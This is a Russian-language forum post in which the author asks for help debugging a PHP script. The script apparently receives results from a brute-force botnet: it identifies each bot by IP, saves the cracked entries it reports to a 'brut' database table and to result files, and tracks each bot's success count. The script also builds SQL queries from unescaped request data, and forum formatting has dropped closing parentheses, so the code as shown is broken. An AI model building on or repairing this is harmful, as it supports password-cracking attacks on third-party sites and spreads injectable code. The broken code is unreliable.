вот скрипт на который посылается результат работы и он записывается в базу и в файлы
[code]
<?php
include_once 'config.php';
$stop = file("{$path}/bot_stop.txt"
;
$file = file_get_contents("{$path}/bot_stop.txt"
;
if(!preg_match('/'.$_SERVER['REMOTE_ADDR'].'/i',$file))
{
#if(count($stop) == 100)exit('stop');
}
$out_bot = mysql_fetch_array(mysql_query("SELECT * FROM `bot` WHERE `ip`='".$_SERVER['REMOTE_ADDR']."' LIMIT 1"
);
Удалён
if(isset($_POST['result']) and $_POST['result']=='end')
{
mysql_unbuffered_query("UPDATE `bot` SET `status` = '0',`pass`='0' WHERE `id`='".$out_bot['id']."'"
;
exit;
}
if(isset($_POST['result']) and strlen($_POST['result'])>3)
{
$g = explode("rn",trim($_POST['result']));
if(count($g)>0)
{
foreach($g as $res)
{
$res = strtolower($res);
$res2 = str_replace('http://','',$res);
$res2 = 'http://'.$res2;
$res2 = parse_url($res2);
$res2 = $res2['host'];
$bbb = explode(',',$res);
$ggg = $bbb[0];
$sql_bot = mysql_query("SELECT * FROM `brut` WHERE `result` LIKE '%$res2%' LIMIT 1"
;
if (mysql_num_rows($sql_bot) == 0)
{
if(mysql_unbuffered_query("INSERT INTO `brut` (`result`, `bot_id`,`name`,`date`) VALUES ('".mysql_real_escape_string(trim($res))."', '".$out_bot['id']."','".$ggg."',now())"
){
mysql_unbuffered_query("UPDATE `bot` SET `brut` = `brut`+1 WHERE `id`='".$out_bot['id']."'"
;
$file = fopen("{$path}/tmp/brutresgood.txt", 'a+');
fwrite($file, $_POST['result']."rn"
;
fclose($file);
}
}
}
}
$file = fopen("{$path}/tmp/brutres.txt", 'a+');
fwrite($file, $_POST['result']."rn"
;
fclose($file);
}
?>
[/code]
так записывает :
admin
test_ru
а так не записывает :
24.35.55.187Удалён
24.36.59.147Удалён
admin@
надо чтобы и записывало как указано и во втором варианте.
ткните носом меня , а то не вижу в чем проблема..
за + или маленькое вознаграждение..
Добавлено 18.01.15 в 15:24:31:
сам разобрался. Спасибо за помощь тем кто и не пытался помочь